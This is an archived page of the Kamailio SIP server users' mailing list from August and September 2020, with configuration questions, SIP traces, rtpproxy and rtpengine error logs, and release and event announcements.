<sip:anonymous@anonymous.invalid>;tag=h7g4Esbg_h7g4Esbg_c5478d8b Call-ID: ae36c13c31b5e910(a)a.b.c.d CSeq: 1313626 BYE Privacy: user;id Content-Length: 0 Allow: ACK, BYE, CANCEL, INFO, INVITE, MESSAGE, OPTIONS, PRACK, PUBLISH, REGISTER, SUBSCRIBE, UPDATE Route: <sip:kamailio-ip:5070;r2=on;lr;ftag=h7g4Esbg_h7g4Esbg_c5478d8b;did=c4851.7b1c5> Route: <sip:sems-ip;r2=on;lr;ftag=h7g4Esbg_h7g4Esbg_c5478d8b;did=c4851.7b1c5> This one matches to the 180 of the call to callee b SIP/2.0 180 Ringing Record-Route: <sip:sems-ip;r2=on;lr;ftag=h7g4Esbg_h7g4Esbg_c5478d8b;did=c4851.7b1c5> Record-Route: <sip:kamailio-ip:5070;r2=on;lr;ftag=h7g4Esbg_h7g4Esbg_c5478d8b;did=c4851.7b1c5> Via: SIP/2.0/UDP bob@kamailiko:5060;branch=z9hG4bK1s9rar309o1uf6j41ik0.1 Call-ID: ae36c13c31b5e910(a)a.b.c.d CSeq: 1313625 INVITE To: <sip:bob@kamailio>;tag=11A2CF0C-5F578E7E000376B5-AA5BD700 From: <sip:anonymous@anonymous.invalid>;tag=h7g4Esbg_h7g4Esbg_c5478d8b Content-Length: 0 Contact: <bob-pjhq8ddet3tu9@bobdomain;transport=udp> I hope you can understand my problem a little better now. BR Björn Am 11.09.20 um 12:26 schrieb Henning Westerholt: > Hello Björn, > > I was not referring to dialog stateful routing e.g. with dialog module. I was referring to the loose_route() function in your kamailio.cfg (e.g. compare to the default cfg in github). > > Maybe you can quote the problematic BYE SIP message here. > > Cheers, > > Henning > -- Björn Klasen, Specialist TNG Stadtnetz GmbH, Network Management (VoIP) Projensdorfer Straße 324 24106 Kiel Germany T +49 431/ 530530 F +49 431/ 7097-555 mailto: bklasen(a)tng.de http://www.tng.de Register: Amtsgericht Kiel HRB 6002 KI Executive board (Geschäftsführung): Dr.-Ing. Volkmar Hausberg, Sven Schade, Carsten Tolkmit, Dr. Sven Willert Tax-Id (Steuernr.): 2029047020, VAT-Id (USt-Id): DE225201428

2 2

How to check which memory allocator kamailio is using ?
by sagar malam 11 Sep '20

11 Sep '20

Hello , Is there any way to check if the memory allocator is used by kamailio ? qmalloc,fmalloc or tlsf. -- Thanks, Sagar

2 3

xlog print sdp parameters
by Angel Elena 11 Sep '20

11 Sep '20

Hi, good moorning. I have a Kamailio 4.4.7 in a debian box and I need print with xlog (if is possible) the o,c and m values from SDP headers. Is possible make a xlog() print this parameters with sdpops module or another ? Thanks -------------------------------- Ángel Elena Medina _o) craem(a)craem.net / \\ http://diablo.craem.net _(___V @craem_ www.linkedin.com/in/angel-elena-medina -------------------------------- Kopano Webapp.

2 1

Using Kamalio as a proxy for internal servers
by Moshe Katz 11 Sep '20

11 Sep '20

Hello all, (Note: I previously posted a more detailed version of this question on StackOverflow at https://stackoverflow.com/q/63760506/829970 . This version is simplified to fit better in an email.) I have Kamailio 5.4.1 (and RTPEngine) running on an internal server with a private IP address 172.31.7.96 and One-to-one NAT to an external IP address. The external IP is 192.0.2.100. (Note: The internal IP addresses are all unedited, but the public IPs have been replaced with TEST-NET-1 and TEST-NET-2 example addresses.) I will eventually be doing transcoding with RTPEngine, but for now this is a simple SIP Proxy. Kamailio is installed on Ubuntu 18.04 using the DEB packages from dev.kamailio.org/kamailio54 and is using the stock configuration that comes with those packages, except for the following changes: #!define WITH_NAT #!define WITH_RTPENGINE #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_IPAUTH listen=udp:0.0.0.0:5060 advertise 192.0.2.100:5060 #!define DBURL "mysql://kamailio:REAL_PASSWORD_HERE@127.0.0.1/kamailio" I have internal SIP servers with private IP addresses in the 172.31.7.0/24 range that I want to have send all SIP traffic through the Kamailio server. The internal servers are running a Java SIP client with the `OUTBOUND_PROXY` setting set to 172.31.7.96. The problem I have is that the SIP `200 OK` message sent by Kamailio to my SIP server has its `Record-Route` header set to the public IP address `192.0.2.100` instead of the private address `172.31.7.96`. The SIP client therefore tries to send the `ACK` message back to the public address, but it has no route to the public address so the ACK never gets sent. How can I configure Kamailio to use the public IP for external traffic but the private IP for communicating with internal machines on the same subnet? I tried setting `mhomed=1`, but the machine isn't actually multi-homed so that didn't work. I thought of adding a second listen line `listen=udp:172.31.7.96:5061` and having the internal servers talk to port 5061, but that doesn't work because Kamailio uses the 5061 definition for the external side too. I see in the docs that it is possible to name the listener lines, but I don't understand how to use those names in a way that would be relevant to my issue. Thank you very much for your help, Moshe

5 6

How to handle BYE in case of serial fork
by Björn Klasen 11 Sep '20

11 Sep '20

Hi we are using Kamailio 4.3.7 and I have a question concerning BYE handling. We have the following situation: A carrier a call to us. We are forwarding the call to the destination, but it does not pick up the call. We have call-forward active with use of tm module, so we forward the call to the new destination. The first call generates a to-tag in 180, let's call it TT1. The second call, so the c-destination also answer with 180 but with another to-tag (TT2). Both ringing are passed to the originating carrier. When the timer for the first call is timed out, Kamailio cancels the branch with a CANCEL so it does not exist any more Now the c-destination picks up the phone, and reply with 200 OK with TT2 The carrier then sends a BYE with TT1 to us, but Kamailio doesn't know anything about it, so it does not reply and the carrier sends a timeout and terminates the complete call. So the question is, how handle such a situation. Is it possible to store the first branch, or fake a OK reply to the BYE request of the carrier as for my understanding this behaviour is not against RFC. To clarify the situation here comes a call-flow diagram A Kamailio B C |---INV Bob@P1->| | | | |--INV Bob@B--->| | | |<-100----------| | |<-100----------| | | | |<-180 TT1------| | |<-180 TT1------| | | Forward after 10 seconds | |--CANCEL------>| | | |<-487----------| | | |<-200 OK-------| | | |--ACK--------->| | |<-181 TT1------| | | | |--INV Carol@C----------------->| | |<-100--------------------------| | |<-180 TT2----------------------| |<-180 TT2------| | | | |<-200 OK TT2-------------------| |<-200 OK TT2---| | | |--BYE TT1----->| | | |--BYE TT1----->| | | |--BYE TT1----->| | | |--408--------->| | | |--ACK--------->| | | | |--ACK------------------------->| | |<-BYE TT2----------------------| |<-BYE TT2------| | |--481--------->| | | |--481------------------------->| To get around the the situation with the second to-tag, we passing every call through SEMS now, because its B2B function rewrites the to-tag, so there is always only one to-tag towards the carrier A. But it's not the gold solution. I hope somebody can help me. BR, Björn -- Björn Klasen, Specialist TNG Stadtnetz GmbH, Network Management (VoIP) Projensdorfer Straße 324 24106 Kiel Germany T +49 431/ 530530 F +49 431/ 7097-555 mailto: bklasen(a)tng.de http://www.tng.de Register: Amtsgericht Kiel HRB 6002 KI Executive board (Geschäftsführung): Dr.-Ing. Volkmar Hausberg, Sven Schade, Carsten Tolkmit, Dr. Sven Willert Tax-Id (Steuernr.): 2029047020, VAT-Id (USt-Id): DE225201428

1 0

Kamailio v5.3.6 Released
by Daniel-Constantin Mierla 10 Sep '20

10 Sep '20

Hello, Kamailio SIP Server v5.3.6 stable release is out. This is a maintenance release of the latest stable branch, 5.3, that includes fixes since the release of v5.3.5. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.3.x. Deployments running previous v5.3.x versions are strongly recommended to be upgraded to v5.3.6. Note that 5.3 is the second last stable branch, still officially maintained by Kamailio development team. The latest stable branch is 5.4, with v5.4.1 being release out of it. For more details about version 5.3.6 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2020/09/kamailio-v5-3-6-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Releasing v5.3.6
by Daniel-Constantin Mierla 10 Sep '20

10 Sep '20

Hello, I am considering to release v5.3.6 from the branch 5.3 in the next days, aiming from Thursday (Sep 10, 2020) if everything goes as planned at this moment, or on Monday (Sep 14, 2020) if a little bit of time is needed. Should you be aware of any issue that needs to be addressed in the branch 5.3 (e.g., a bug, or a missing backport), inform us as soon as possible to try to sort it out in time. Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla

1 1

Dispatcher / ds_select_routes
by Peter Gradwell 09 Sep '20

09 Sep '20

Hello I'm doing a project where I need to route using dispatcher across multiple groups. i.e. when the customer makes a call, the "core" server makes a request to cgrates to get back a list of carriers that support that, and then want to work through them in order of preference. e.g. the string we get back from cgrates via evapi might be "2,1,3". i.e. try all Group 2 destinations, then group 1, then group 3. Each of these is then a dispatcher group (with multiple dispatcher routes in each group). When the call then gets to the "Group 2" server that in turn is also using dispatcher to handle multiple destinations, and if all of those destinations fail, it returns a 503 to the "core", which is then meant to try "Group 1", and so on. The documentation on this is a bit sparse, but what I think I am meant to do (at the core level) is use ds_select_routes to load up the list of groups (https://kamailio.org/docs/modules/5.3.x/modules/dispatcher.html#dispatcher.…) if(ds_select_routes("2=4;1=4;3=4", "d", "0")) { t_on_failure("REROUTE"); t_relay(); exit; } and then in my failure_route, if the error code is 503 I call ds_next_domain, e.g. failure_route[REROUTE] { if(t_check_status("503")) { if(ds_next_domain()) { t_on_failure("REROUTE"); t_relay(); exit; } } } My problem is, that in applying theory to practice, I have ended up with a bunch of looping and it's not working right! Does anyone have an example code for such a scenario? many thanks peter

2 3

testing SIP address
by Nicholas Saunders 09 Sep '20

09 Sep '20

How do I test connectivity of a SIP address? Is there a "time" or "echo" type SIP address to call or message? I'm just using a free address from onsip.com thanks, Nick

4 3

how to reload kemi scripts? kamailio 5.3.x or 5.4.x
by Karsten Horsmann 09 Sep '20

09 Sep '20

Hello List, i read Daniels Presentation https://www.kamailio.org/events/2018-KamailioWorld/Day0/W07-Daniel-Constant… and there is an hint about python(2/3) - that kemi script reloading is not supported with python kemi scripts. Is that correct for the actual versions (5.3.x and 5.4.x)? And if i use for example lua as kemi script language, how i restart that script only? Drop in a new file and thats it (like FreeSWITCH did that)? Thanks in advance Cheers Karsten -- *Karsten Horsmann*

3 5

$HN(key) for IPv6
by Sergey Safarov 05 Sep '20

05 Sep '20

I want to deploy dual-stack kamailio and config file in need use in one place IPv4 kamailio IP address and in another place I want to use IPv6 address. Could I get something like $HN(i4) and $HN(i6)?

2 1

Change FROM to hide topology
by Andre Pires dos Santos 05 Sep '20

05 Sep '20

Hi guys, We have SIP Server > Kamailio > webrtc client. The only call flow we have is SIP server calling kamailio tha sends the call to webrtc client. We set up TOPOH to hide the sip server info but once the sip server initiates the call we still have the FROM details identifying SIP Server IP address. We couldn't find a way to mask this ip using TOPOH. What would be the best way to hide the sip server IP address in this case? Thanks a lot! Andre

3 2

Handling of packet loss in the Kamailio to RTPEngine control protocol
by Patrick Wakano 03 Sep '20

03 Sep '20

Hello list, Hope you are all well. Under some load test simulations I've been facing cases where the command Kamailio sends to RTPEngine times out with such message: send_rtpp_command(): timeout waiting reply for command "" from RTP proxy After checking RTPEngine logs, I can see the command was received and a reply was sent, so I am thinking the reply packet could have been lost somewhere in the network (they are in different servers). So my question is, how resilient is the RTPEngine NG protocol to handle packet loss situations? I saw TCP is not supported, so are there UDP retransmissions in place to guarantee packet delivery? Any ideas to make this connection more reliable? Kind regards, Thank you, Patrick Wakano

2 2

Send_notify_request within cluster scenario(path usrloc)
by Zhan Bazarov 03 Sep '20

03 Sep '20

Hello everyone. I have an issue with presence server within kamailio cluster(round-robin DNS, I'm using registrar Path scenario) So, when both of users are located at the same server - everything works fine. But when user which is SUBSCRIBED through another one server - presence module is ignoring path column into usrloc - that leads NAT traversal impossible... So, I've tried using DMQ for handle this: I executed dmq_t_replicate()before each PUBLISH message - in that case I was able to get PUBLISH on each of server in cluster. But BLF lamps are confusing in that case - because a lot of notifies coming to the device at the same time with different dialog states.... Guys, I need a help. Any Ideas how I can handle this? Best regards, Zhan -- Sent from: http://sip-router.1086192.n5.nabble.com/Users-f3.html

2 1

Info: Kamailio World Updates - 2nd day starting now
by Daniel-Constantin Mierla 03 Sep '20

03 Sep '20

Hello, we are just about to start the 2nd day of Kamailio World Updates - free online event, no registration required, just come and join us. More details at: * https://www.kamailioworld.com/k08-online/ Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

2 1

Kamailio IMS as kubernetes pods
by Pavithra Mohanraja 02 Sep '20

02 Sep '20

Hi, I am configuring kamailio IMS as kubernetes pods . so each component will be configured as separate pod . In order to establish a connection between pods , I am configuring bind9 dns server in pcscf pod itself. Communication is happening via Pod IP address. Is there any possibility to have the communication using cluster IP . If anybody is aware of kubernetes, Please help me in this regard. I have my /etc/resolv.conf file in pods with nameserver <clusterIP> search <cluster-dns-domain-name> Please help. Thanks, Pavithra

4 16

error playing media with rtpproxy
by Amit Pal 02 Sep '20

02 Sep '20

Dear Team, I am unable to play media file on caller/callee. I am using rtpproxy_stream2uas/rtproxy_stream2uac to play media file. RTPProxy put on remote machine. Kamailio server are on another machine. When do call media relay by rtpproxy well. Now it is fine. But issue when hold the call by caller try to play moh to callee by rtpproxy_stream2uas("/media/moh.wav" ,"-1") getting following error by RTPProxy. DBUG:GLOBAL:rtpp_command_split:396: received command "6920_4 P-1 f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI. /media/moh.wav session aee3e27066a043e19f73cbff37e50689;1 904c5107;1" rtpproxy[10858]: DBUG:f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.:rtpp_strea m_handle_play:376: rtpp_server_ctor("/media/moh.wav", 8, -1) failed rtpproxy[10858]: DBUG:f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.:rtpp_strea m_handle_play:376: rtpp_server_ctor("/media/moh.wav", 101, -1) failed rtpproxy[10858]: ERR:f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.:rtpp_stream _handle_play:405: can't create player: rtpp_server_ctor() failed rtpproxy[10858]: DBUG:GLOBAL:rtpc_doreply:192: sending reply "E60\n" rtpproxy[10858]: DBUG:GLOBAL:rtpp_command_split:396: received command "6920_5 P-1 f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI. /media/moh.wav session 904c5107;1 aee3e27066a043e19f73cbff37e50689;1" rtpproxy[10858]: DBUG:f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.:rtpp_strea m_handle_play:376: rtpp_server_ctor("/media/moh.wav", 0, -1) failed rtpproxy[10858]: DBUG:f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.:rtpp_strea m_handle_play:376: rtpp_server_ctor("/media/moh.wav", 8, -1) failed rtpproxy[10858]: DBUG:f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.:rtpp_strea m_handle_play:376: rtpp_server_ctor("/media/moh.wav", 101, -1) failed rtpproxy[10858]: ERR:f954ba62f373b86cMTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.:rtpp_stream _handle_play:405: can't create player: rtpp_server_ctor() failed rtpproxy[10858]: DBUG:GLOBAL:rtpc_doreply:192: sending reply "E60\n" Kamailio version:5.4 and rtpproxy version : 2.2.alpha.029f88a4 I am not understand what is being wrong here. Where is fault.? This issue taken my lot of time. I am very much worried. any one please tell what is solution? how can I overcome this problem. Regards Amit

1 0

Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
by Yufei Tao 02 Sep '20

02 Sep '20

Hi, The security tests were done to find theoretically possible flaws and help make Kamailio "bullet proof". Well it's already a lot more robust than most others. I think Daniel and Henning have made it very clear about the scope of the bug. For me if it is something that's been there for so many years without being noticed, it would be a bit surprising if declared as a high risk problem. Plus isn't this something you should find out if you do your testing properly? If it were to create big troubles for anyone, that means they had never tested their deployment properly in the past 18 years?? That's where I get confused. Of course anyone can fork and build Kamailio themselves if they really need something urgently since it's open source. Cheers, Yufei

1 0

Weird config parsing issues - 5.4
by Noah Mehl 02 Sep '20

02 Sep '20

All, I have built branch 5.4 from source, and I’m working with the default config. However, from time to time I get this error when launching kamailio: root@inbound-kamailio-test-02:~# /usr/local/sbin/kamailio -P /run/kamailio/kamailio.pid -f /usr/local/etc/kamailio/kamailio.cfg -m 128 -M 64 -E 0(1296) CRITICAL: <core> [core/cfg.y:3588]: yyerror_at(): parse error in config file /usr/local/etc/kamailio/kamailio.cfg, line 410, column 30-34: syntax error 0(1296) CRITICAL: <core> [core/cfg.y:3588]: yyerror_at(): parse error in config file /usr/local/etc/kamailio/kamailio.cfg, line 410, column 30-34: Invalid arguments 0(1296) CRITICAL: <core> [core/cfg.y:3591]: yyerror_at(): parse error in config file /usr/local/etc/kamailio/kamailio.cfg, line 410, column 35: ERROR: bad config file (3 errors) 0(1296) ERROR: <core> [core/ppcfg.c:234]: pp_ifdef_level_error(): different number of preprocessor directives: 1 more #!if[n]def as #!endif However, if I run a “make install” from the source directory, this error goes away. Has anyone run into this issue before? Configs attached. Thanks! ~Noah

3 5

Fwd: Keep evapi bind address alive on kamailio restart
by Mehrdad EsmaeilPour 02 Sep '20

02 Sep '20

Hi all, I have a question about evapi module. Is it possible to keep the bind address of evapi alive on kamailio restarts? How can I achieve high availability for evpai's bind address? Many thnaks -- *Kind Regards, Mehrdad Esmaeilpour <https://www.linkedin.com/in/mehrdadep/>*

3 2

worker processes
by Ali Taher 01 Sep '20

01 Sep '20

Hi, I just want to ask regarding the children number and listening interfaces set in Kamailio configuration. I am given to understand that the total number of worker processes there will be (children_setting * listeners) , so assuming I have set children=12 and listen=udp:172.16.1.12:5060 (which is the interface IP where the SIP packets as received), in this case there will be 12 worker processes and 12 database connections to postgresql (I'm using SQLOPS). My question is if I set listen=udp:0.0.0.0:5060 , knowing that I have 3 interfaces, in this case the number of worker processes will be 36. Is this good configuration ? will the other 24 processes be used or they are reserved to the 2 other interfaces which are not receiving any SIP packets and then will be useless ? Regards, Ali Taher

3 9

kamailio coring ver 5.1.2
by Andrew Chen 01 Sep '20

01 Sep '20

Hey guys, Our monitoring system caught kamailio coring. I did a dmesg and gave me this: [Tue Sep 1 09:12:34 2020] kamailio[1375]: segfault at 1 ip 0000000000000001 sp 00007fff4203f098 error 14 in kamailio[563969b5a000+4a4000] [Tue Sep 1 09:12:34 2020] Code: Bad RIP value. [Tue Sep 1 09:12:34 2020] kamailio[1363]: segfault at 0 ip 0000000000000000 sp 00007fff4203f368 error 14 in kamailio[563969b5a000+4a4000] [Tue Sep 1 09:12:34 2020] Code: Bad RIP value. [Tue Sep 1 09:12:34 2020] kamailio[1377]: segfault at 1 ip 0000000000000001 sp 00007fff4203e308 error 14 in kamailio[563969b5a000+4a4000] [Tue Sep 1 09:12:34 2020] Code: Bad RIP value. After doing gdb bt, didn't tell me much except it can't access some parts of the memory: warning: Unexpected size of section `.reg-xstate/1624' in core file. Cannot access memory at address 0x7fb23433e148 Cannot access memory at address 0x7fb23433e140 Failed to read a valid object file image from memory. Core was generated by `/usr/sbin/kamailio -P /var/run/kamailio/kamailio.pid -f /etc/kamailio/kamailio.'. Program terminated with signal SIGSEGV, Segmentation fault. warning: Unexpected size of section `.reg-xstate/1624' in core file. #0 0x0000000000000001 in ?? () (gdb) bt full #0 0x0000000000000001 in ?? () No symbol table info available. Backtrace stopped: Cannot access memory at address 0x7fff4203e1f8 (gdb) quit Any idea on how to troubleshoot this further? Thanks. -- Andy Chen Sr. Telephony Lead Engineer achen@ <achen(a)thinkingphones.com>fuze.com -- *Confidentiality Notice: The information contained in this e-mail and any attachments may be confidential. If you are not an intended recipient, you are hereby notified that any dissemination, distribution or copying of this e-mail is strictly prohibited. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thank you.*

2 2

Releasing Kamailio v5.4.1
by Daniel-Constantin Mierla 01 Sep '20

01 Sep '20

Hello, I am considering to release Kamailio v5.4.1 as the first patch release in the 5.4 series, likely to be done next week, on the 1st of September, 2020. There are a few issues reported on the tracker, hopefully they will be tackled till then. If you are aware of something else not working as expected, report them to issue tracker asap to give a better chance to be fixed till the release day. Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla

2 5

Kamailio v5.4.1 Released
by Daniel-Constantin Mierla 01 Sep '20

01 Sep '20

Hello, Kamailio SIP Server v5.4.1 stable release is out. This is a maintenance release of the latest stable branch, 5.4, that includes fixes since the release of v5.4.1. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.4.x. Deployments running previous v5.4.x versions are strongly recommended to be upgraded to v5.4.1. For more details about version 5.4.1 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2020/09/kamailio-v5-4-1-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Kamailio World Online Event - Schedule and access details
by Daniel-Constantin Mierla 31 Aug '20

31 Aug '20

Hello, the schedule for Kamailio World Updates has been published - it is an online event happening this week, on Wed-Thu, Sep 2-3, 2020, from 13:00UTC to 17:00UTC, more details are available at: * https://www.kamailioworld.com/k08-online/ The agenda includes presentations, live demos and open discussion sessions, as well as an online party to celebrate 19 years of development for Kamailio project. Being shorter than the usual Kamailio World, the event has an obvious focus on Kamailio only, with sessions about what is new in Kamailio ecosystem. The sessions are done live, in a self-hosted Jitsi Meet video conferencing room (hosting sponsored by lod.com), with live streaming to YouTube KamailioWorld channel: * https://www.youtube.com/c/KamailioWorld/ If streaming goes without problems, the recordings of presentations and live demos will be made available on YouTube channel after the event. If you want to join the video conferencing room, be sure you are muted and with video turned off, in order not to disturb the sessions with unexpected noise. Un-mute/turn video on only when you want to participate in a discussion. Asking questions and text discussions can be done on our self hosted Matrix server, in the room "kamailio" (full room id: #kamailio:matrix.kamailio.dev): * https://riot.kamailio.dev/#/room/#kamailio:matrix.kamailio.dev The server is federated, so if you have a Matrix account on another server, you can join easily. During the event, we will allow guests to join the room, so it is not really required to have a Matrix account. Should anyone have issues joining the chat room during the event, reply on sr-users and we will try to assist you. As an alternative for posting questions, I will keep an eye on YouTube comments during the live streaming and try to pass them to the speaker, if something pops up there. The last session on the 2nd day is the online celebration party for 19 years of development for Kamailio project. Grab a drink, prepare your birthday speech and say it live, tell an interesting story about your experiences in RTC or just enjoy open discussions with the other participants! It is the first time we are experimenting with a live online event, testing looked good so far and we hope everything will run smooth during the sessions! Anyhow, I am confident everyone will enjoy the event and be able to (re-)connect with people from Kamailio community, no matter where they are located around the world! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

new compiler warning in 5.4 stable release
by Juha Heinanen 30 Aug '20

30 Aug '20

tls_locking.c: In function 'tls_init_locks': tls_locking.c:191:1: warning: label 'error' defined but not used [-Wunused-label] error: ^~~~~

2 2

RTP PROXY (rtpproxy_stream2uas getting error)
by Amit Pal 27 Aug '20

27 Aug '20

Dear Team , I am using Kamailio and RTPProxy for media. I am trying to play caller/callee side media by rtpproxy_stream2uas/ rtpproxy_stream2uac. But I am getting error secondary rtpproxy[27007]: DBUG:handle_command: received command "29329_6 P-1 2c60634699018317MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI. /home/coralswitch/queuesounds/moh2.wav session b2f563cf067c489ca7102e96b622f2f1;1 9f10411f;1" rtpproxy[27007]: ERR:handle_play: can't create player rtpproxy[27007]: DBUG:doreply: sending reply "29329_6 E6#012" rtpproxy[27007]: INFO:process_rtp: session timeout rtpproxy[27007]: INFO:remove_session: RTP stats: 1083 in from callee, 936 in from caller, 2019 relayed, 0 dropped rtpproxy[27007]: INFO:remove_session: RTCP stats: 30 in from callee, 41 in from caller, 71 relayed, 0 dropped rtpproxy[27007]: INFO:remove_session: session on ports 36556/60108 is cleaned up why this error are coming . Even some time with change in script following error "handle_play: can't create player" not showing but even not media playing. Log are attached with mail. Please do the need full. Regards Amit Pal

2 5

Kamailio routing incoming phone call ranges to different dispatch groups
by Patrik Nilsson 25 Aug '20

25 Aug '20

Hi, Although what I'm trying to achieve seems like an easy task, I have been tearing my hair for the past two days getting Kamailio to dispatch incoming phone calls to two different groups of Asterisk servers in my dispatcher list. I have 30 dedicated phone numbers from Telco: 020131600 - 020131629. I want 00-19 to be routed to Group 1, and 20-29 to be routed to Group 2, with a Round-robin algorithm. I'm aware that I can set up these incoming phone numbers in each Asterisk server's extension dial plans; nevertheless, I want Kamailio to do the initial incoming routing to a specific group (as Group 2, for instance, will never receive calls from for instance 02013161). Example dispatcher.list: #Company A (Group 1) 1 sip:10.50.0.1 0 0 maxload=20 1 sip:10.50.0.2 0 0 maxload=20 1 sip:10.50.0.3 0 0 maxload=20 #Company B (Group 2) 2 sip: 10.60.0.1 0 0 maxload=20 2 sip: 10.60.0.2 0 0 maxload=20 2 sip: 10.60.0.3 0 0 maxload=20 I assume this is done in the route[DISPATCH] of my kamailio.cfg, using ds_select_dst, but my previous attempts to get this routing to work just breaks the config file. I appreciate any help that I can get! Best regards, Patrik

3 2

Is the "openssl bug #1491" relevant to openssl v.1.1.1?
by Leonid Fainshtein 25 Aug '20

25 Aug '20

Hi, Is it still necessary to care about the minimal free memory amount in the TLS module configuration (e.g., the low_mem_threshold1/2 parameters) in Ubuntu 18.04 with openssl v.1.1.1? I tried to find some more information about the "openssl bug #1491" but the 1491 issue in the current Openssl bug tracking system seems to be not related to the memory problem: https://github.com/openssl/openssl/issues/1491 Best regards, Leonid Fainshtein Xorcom Ltd

2 1

Setup Push notifications from SIP-PBX to Linphone Android -
by Johnny Ritzer 25 Aug '20

25 Aug '20

I have a setup where we wanted to just build a android app linphone to SIP-PBX. But come to find out upon further research due to potential battery drain/background app usage. The device isn’t registered all the time and need some sort of push notification to google firebase back to android app to re-setup the register / INVITE call. Is there a module/config of this kind of setup. (now could I use cloud kamailio or would this have to be onsite local to the PBX).

4 3

Call forking and pua_dialog problem
by Denys Pozniak 24 Aug '20

24 Aug '20

Hello! We have a next call-flow topology: User A -> FreeSWITCH -> Kamailio Fork -> Kamailio Edge => User(s) B, C, D, ... - FreeSWITCH adds X- header with a list of users to fork call (B, C, D legs). - Kamailio Fork generates branches via append_branch function towards Kamailio Edge. - Kamailio Edge keeps customer registration and sends BLF statuses (pua_dialoginfo). The problem (or normal behavior by RFC) is that the dialog module on Kamailio Edge does not split these incoming legs into separated dialogs (incoming SIP Call-ID and from tag are the same). And as per my checking *kamcmd dlg.list_ctx* shows only the structure from the first leg and finally, it leads to a problem with BLF (as pua_diloginfo loses some SIP PUBLISHes). Any advice on how to fix this is appreciated! -- BR, Denys Pozniak

1 1

KAMAILIO/RTPENGINE - Log
by Amit Pal 22 Aug '20

22 Aug '20

Dear Team, I am using kamailio with rtpengine for media. When I make call between two sipUA then media flow is manage by rtpengine offer/answer. The issue is when hold the call then following some error are coming . Pls find the full log in attached file. rtpengine[14099]: DEBUG: [43402b3cc9425239MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.]: av_log: parser not found for codec pcm_s16le, packets or times may be invalid. rtpengine[14099]: DEBUG: [43402b3cc9425239MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.]: av_log: max_analyze_duration 5000000 reached at 5120000 microseconds st:0 rtpengine[14099]: DEBUG: [43402b3cc9425239MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.]: av_log: stream 0: start_time: -1152921504606847.000 duration: 27.034 rtpengine[14099]: DEBUG: [43402b3cc9425239MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.]: av_log: format: start_time: -9223372036854.775 duration: 27.034 bitrate=128 kb/s rtpengine[14099]: DEBUG: [43402b3cc9425239MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.]: av_log: After avformat_find_stream_info() pos: 131130 bytes read:196666 seeks:1 frames:22 rtpengine[14099]: ERR: [43402b3cc9425239MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.]: No supported output codec found in SDP rtpengine[14099]: INFO: [43402b3cc9425239MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.]: Replying to 'play media' from 127.0.0.1:48757 (elapsed time 0.121111 sec) rtpengine[14099]: DEBUG: [43402b3cc9425239MTg0YzVlODc0NTBiZGU1ZGJiYmNmYjY1MDc0MjIwMzI.]: Response dump for 'play media' to 127.0.0.1:48757: { "result": "ok" } I am unable to understand this issue. Is this related to rtpenging, which is not supported given codec or file codec, which is used to play after hold call or anything else in script issue. Can you please guide me where is the issue. Regards Amit Pal

2 1

how to check path vector after lookup("location")
by Sergey Safarov 21 Aug '20

21 Aug '20

I use this construction to check the presence of path in device registration if(reg_fetch_contacts("location", "$fu", "caller") && $(ulc(caller=>path)[0]) == $null) { handle_ruri_alias(); } Is possible to check path presence after lookup("location") function call? Sergey

2 1

Bug in Postgres SQL Script?
by Noah Mehl 20 Aug '20

20 Aug '20

